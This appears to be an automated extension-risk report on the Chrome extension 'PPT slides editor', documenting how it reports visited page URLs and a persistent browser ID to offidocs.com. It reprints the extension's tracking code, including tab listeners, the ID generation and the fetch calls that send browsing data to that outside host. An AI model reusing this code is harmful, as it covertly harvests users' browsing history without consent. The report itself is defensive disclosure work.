Is PPT slides editor safe?

High risk

PPT slides editor is high risk. When you open or switch to an HTTP page, PPT slides editor sends the address to www.offidocs.com as a hex-encoded filepath. Testing captured five navigations producing five matching GET requests, all with the same u=fdoi8dosko identifier.…

officeonlinesystemsv2.14.3Chrome Web Store
75Risk
Who publishes it

officeonlinesystems - 26 other listings from the same operator, 17 of them carrying a finding

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
officeonlinesystems
Registered address
Av. Dr. Arce 43, Madrid 28002, Spain

Same store account

19 other listings published from this account, 1.5M+ users between them. 14 of them carry a finding.

X-Audacity600k+HighGimp Online400k+MediumPDF editor online100k+HighInkscape100k+HighXLS Editor80k+HighLibreOffice Editor50k+High13 more listings in the relationship graph, on paid plans →

Same operator - 7 listings

Published under a different store account, but sharing the registered address, contact or declared legal entity this one gave the store.

Ubuntu Online
same registered address
60k+High
ApkOnline
same registered address
200k+High
VPNOnline - Fast VPN for Chrome
same registered address
20k+High
Software Downloader for Windows & Linux
same registered address
4k+Clean
Android developer Cordova online
same registered address
2k+Clean2 more listings in the relationship graph, on paid plans →

Shared hosts - 1 hostname

Hostnames hardcoded in this extension that few other listings call. That can mean one operator behind both, and it can equally mean a small shared vendor, so it is context rather than a conclusion. Hosts that many listings call are left out: they are services, not connections.

offidocs.com
Also called by 7 other listings, including Image editor PaintMagick for photos, PhotoStudio, Encrypt any email with CipherMail

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

SeverityHIGH
ClassUNWANTED
TypeUnexpected
CWECWE-359
SourceAI SANDBOX

Visited URLs sent to OffiDocs with a stable browser ID

When you open or switch to an HTTP page, PPT slides editor sends the address to www.offidocs.com as a hex-encoded filepath.

Testing captured five navigations producing five matching GET requests, all with the same u=fdoi8dosko identifier.

01EvidenceCAUSE EFFECT
What actually happens
You did this

You open or switch to a non-OffiDocs HTTP page.

The extension did this

The extension sends that page address to OffiDocs with the same browser-specific ID used on other visits.

02EvidenceFIELD TABLE
Fields sent on the URL-reporting request
FieldValueWhy it matters
Visited page address
https://example.com/articleThis reveals the site and path you visited. Repeated reports create a browsing-history trail.
Stable browser ID
fdoi8doskoThis lets separate page visits be tied back to the same browser profile.
Encoding flag
1This tells the receiving endpoint that the page address is represented as hex text.
Service selector
owncloudservice14This adds OffiDocs service context to the browsing report.
03EvidenceNETWORK CAPTURE
Captured request
GEThttps://www.offidocs.com/media/system/app/checkdownloadppteditorx_2_nav.php?filepath=redacted_hex_encoded_planted_marker_url&hex=1&u=fdoi8dosko&s=owncloudservice14
Five tested navigations produced five matching URL-reporting GET requests.
04EvidenceCODE COMPARE
The code that does this

Navigation listener, persistent ID, and OffiDocs request in the shipped code

What it actually does
Service worker imports the reporting codeservice_worker.js
importScripts(
    "./websecure.js"
);
Tab events call extractaudio() with the current tab URLwebsecure.js
var username = ""; 
let activeTabId, lastUrl;
let servicexx = "";

function getTabInfo(tabId) {
      chrome.tabs.get(tabId, function(tab) {          
            if ( ( tab.url.indexOf("offidocs") == -1 ) && ( tab.url.indexOf("http") !== -1 ) && ( lastUrl != tab.url) )  {
                    //console.log(" Changed tab.url " + tab.url);
                    urlx =  tab.url;
                    extractaudio(urlx);
                    lastUrl = tab.url;
            }
      });
}



function websecure() {
    this.init = function () {
        
        chrome.tabs.onActivated.addListener(function(activeInfo) {
                activeTabId = activeInfo.tabId;
                getTabInfo(activeTabId);
        });

        chrome.tabs.onUpdated.addListener(function(tabId, changeInfo, tab) {
                //if(activeTabId == tabId) {
                    getTabInfo(tabId);
                //}
        });
     
    };
}



if ( chrome.storage.sync.get('username', function (obj) { })  ) {
        username = chrome.storage.sync.get('username', function (obj) { });
}
else {
       username = "" + randomString(10) + "".toLowerCase();
       chrome.storage.sync.set({'username': username.toLowerCase()}, function() { });
}   

const stat = new websecure();
stat.init();

function randomString(len, charSet) {
    charSet = charSet || 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
    var randomString = '';
    for (var i = 0; i < len; i++) {
        var randomPoz = Math.floor(Math.random() * charSet.length);
        randomString += charSet.substring(randomPoz,randomPoz+1);
    }
    return randomString.toLowerCase();
}
extractaudio() stores offidocs_key and fetches the URL-reporting endpointwebsecure.js
async function extractaudio(urlxx) {

                const offidocs_key = "offidocs_key";
                var datax = { username: null,  offidocscloud: null };
                var username = "";
                var offidocscloud = "";
                let storageResult = await chrome.storage.local.get([offidocs_key]);
                if (offidocs_key in storageResult) {
                        datax = storageResult[offidocs_key]
                }
                
                if ( datax.username ) {
                    username = datax.username;
                }
                else {
                    username = "" + randomString(10) + "".toLowerCase();
                    datax.username = username;
                }
                if ( datax.offidocscloud ) {
                    offidocscloud = datax.offidocscloud;
                }
                else {
                    offidocscloud = "1";
                    datax.offidocscloud = "1";
                }

                var data = {};
                data[offidocs_key] = datax;
                await chrome.storage.local.set(data);
    
                var un = username;
                if ( datax.offidocscloud == "0") 
                    return;
            
                if ( servicexx == "" ) {
                    let response = await fetch('https://www.offidocs.com/media/system/app/resetlool.php?username=' + username + '&urlpathx=/phpextensions/userext.php');
                     if (response.status === 200) {
                                let data = await response.text();
                                servicexx = data;
                     }
                }
    
                //console.log('https://www.offidocs.com/media/system/app/checkdownloadppteditorx_2_nav.php?filepath=' + bin2hex(urlxx) + '&hex=1&u=' + un + "&s=" + servicexx );
                let cfgv = await fetch('https://www.offidocs.com/media/system/app/checkdownloadppteditorx_2_nav.php?filepath=' + bin2hex(urlxx) + '&hex=1&u=' + un + "&s=" + servicexx);    
    
    
                if (cfgv.status === 200) {
                    let fbv = await cfgv.text();
                    //console.log(fbv);  
                    var nbv = fbv;
                    if ( nbv.indexOf("302") !== -1 )   {
                           var ybv = 'https://www.offidocs.com/media/system/app/view_edit_ppteditor_nav.php?filepath=' + bin2hex(urlxx) + '&u=' + un;
                           // chrome.tabs.create({ url: ybv });
                           chrome.tabs.update(chrome.tabs.getCurrent().id, {url: ybv});
                    }
                }
}


function bin2hex (bin)
{
  var i = 0, l = bin.length, chr, hex = ''
  for (i; i < l; ++i)
  {
    chr = bin.charCodeAt(i).toString(16)
    hex += chr.length < 2 ? '0' + chr : chr
  }
  return hex
}
05EvidenceTHIRD PARTY LIST
Destination receiving the browsing reports
  • www.offidocs.com

    Receives the URL-reporting GET request generated by websecure.js on tested page navigations.

06EvidenceARTIFACT
Reproduce it yourself

Decodes the hex filepath value used by the OffiDocs navigation request so the reported page address can be checked.

RequiresNode.js 18+
decode-offidocs-filepath.js · js
#!/usr/bin/env node
const hex = process.argv[2];

if (!hex || !/^[0-9a-fA-F]+$/.test(hex) || hex.length % 2 !== 0) {
  console.error('Usage: node decode-offidocs-filepath.js <hex filepath>');
  process.exit(1);
}

let decoded = '';
for (let i = 0; i < hex.length; i += 2) {
  decoded += String.fromCharCode(parseInt(hex.slice(i, i + 2), 16));
}

console.log(decoded);
How to run it
  1. 1
    node decode-offidocs-filepath.js 68747470733a2f2f6578616d706c652e636f6d2f61727469636c65
SeverityMEDIUM
ClassUNWANTED
TypeUnexpected
CWECWE-359
SourceAI SANDBOX

PPT slides editor tags browsing with a persistent ID

PPT slides editor stores the 10-character ID 'fdoi8dosko' and reuses it in six requests to www.offidocs.com.

Navigation creates offidocs_key.username when missing, saves it locally, and sends it as u/username with the visited URL.

01EvidenceCAUSE EFFECT
What actually happens
You did this

You navigate to or activate a non-OffiDocs web page while the extension is enabled.

The extension did this

The extension stores a browser-specific identifier and sends that same value to OffiDocs with navigation-related requests.

02EvidenceNETWORK CAPTURE
Captured request
GEThttps://www.offidocs.com/media/system/app/checkdownloadppteditorr_2_nav.php?u=fdoi8dosko
03EvidenceFIELD TABLE
Fields that identify or describe the browsing activity
FieldValueWhy it matters
Stored browser identifier
fdoi8doskoThis value lets later requests from the same browser profile be tied together.
Visited page URL
filepath=687474703a2f2f6578616d706c652e636f6d2f (hex for http://example.com/, illustrative)The page you visit can be included in the navigation request after being converted into hexadecimal text.
Cloud setting
offidocscloud=1This setting controls whether the extension continues sending the navigation request flow.
OffiDocs service value
s=officehost12 (illustrative service value)A server response is cached and appended to later navigation checks from the same browser profile.
04EvidenceSTORAGE DUMP
What's stored on your device

The extension keeps a stable identifier locally, so later browsing sessions can reuse the same value instead of creating a fresh one.

Locationchrome.storage.local key 'offidocs_key'
Contents (JSON)
{
  "offidocs_key": {
    "username": "fdoi8dosko",
    "offidocscloud": "1"
  },
  "chrome.storage.sync": {
    "username": "09anou9dzx"
  }
}
05EvidenceCODE COMPARE
The code that does this

The shipped code path that creates and reuses the identifier

What it actually does
Navigation listenerwebsecure.js
function getTabInfo(tabId) {
      chrome.tabs.get(tabId, function(tab) {          
            if ( ( tab.url.indexOf("offidocs") == -1 ) && ( tab.url.indexOf("http") !== -1 ) && ( lastUrl != tab.url) )  {
                    //console.log(" Changed tab.url " + tab.url);
                    urlx =  tab.url;
                    extractaudio(urlx);
                    lastUrl = tab.url;
            }
      });
}



function websecure() {
    this.init = function () {
        
        chrome.tabs.onActivated.addListener(function(activeInfo) {
                activeTabId = activeInfo.tabId;
                getTabInfo(activeTabId);
        });

        chrome.tabs.onUpdated.addListener(function(tabId, changeInfo, tab) {
                //if(activeTabId == tabId) {
                    getTabInfo(tabId);
                //}
        });
     
    };
}
Identifier generationwebsecure.js
function randomString(len, charSet) {
    charSet = charSet || 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
    var randomString = '';
    for (var i = 0; i < len; i++) {
        var randomPoz = Math.floor(Math.random() * charSet.length);
        randomString += charSet.substring(randomPoz,randomPoz+1);
    }
    return randomString.toLowerCase();
}
Storage and OffiDocs requestswebsecure.js
async function extractaudio(urlxx) {

                const offidocs_key = "offidocs_key";
                var datax = { username: null,  offidocscloud: null };
                var username = "";
                var offidocscloud = "";
                let storageResult = await chrome.storage.local.get([offidocs_key]);
                if (offidocs_key in storageResult) {
                        datax = storageResult[offidocs_key]
                }
                
                if ( datax.username ) {
                    username = datax.username;
                }
                else {
                    username = "" + randomString(10) + "".toLowerCase();
                    datax.username = username;
                }
                if ( datax.offidocscloud ) {
                    offidocscloud = datax.offidocscloud;
                }
                else {
                    offidocscloud = "1";
                    datax.offidocscloud = "1";
                }

                var data = {};
                data[offidocs_key] = datax;
                await chrome.storage.local.set(data);
    
                var un = username;
                if ( datax.offidocscloud == "0") 
                    return;
            
                if ( servicexx == "" ) {
                    let response = await fetch('https://www.offidocs.com/media/system/app/resetlool.php?username=' + username + '&urlpathx=/phpextensions/userext.php');
                     if (response.status === 200) {
                                let data = await response.text();
                                servicexx = data;
                     }
                }
    
                //console.log('https://www.offidocs.com/media/system/app/checkdownloadppteditorx_2_nav.php?filepath=' + bin2hex(urlxx) + '&hex=1&u=' + un + "&s=" + servicexx );
                let cfgv = await fetch('https://www.offidocs.com/media/system/app/checkdownloadppteditorx_2_nav.php?filepath=' + bin2hex(urlxx) + '&hex=1&u=' + un + "&s=" + servicexx);    
    
    
                if (cfgv.status === 200) {
                    let fbv = await cfgv.text();
                    //console.log(fbv);  
                    var nbv = fbv;
                    if ( nbv.indexOf("302") !== -1 )   {
                           var ybv = 'https://www.offidocs.com/media/system/app/view_edit_ppteditor_nav.php?filepath=' + bin2hex(urlxx) + '&u=' + un;
                           // chrome.tabs.create({ url: ybv });
                           chrome.tabs.update(chrome.tabs.getCurrent().id, {url: ybv});
                    }
                }
}
URL-to-hex helperwebsecure.js
function bin2hex (bin)
{
  var i = 0, l = bin.length, chr, hex = ''
  for (i; i < l; ++i)
  {
    chr = bin.charCodeAt(i).toString(16)
    hex += chr.length < 2 ? '0' + chr : chr
  }
  return hex
}
06EvidenceTHIRD PARTY LIST
External destination for the identifier and navigation data
  • www.offidocs.com

    Receives the persistent username value in reset and navigation-check requests from the extension.

Updated 30 September 2026hgfgdlbnbccaphekmiblnlbocchmanpd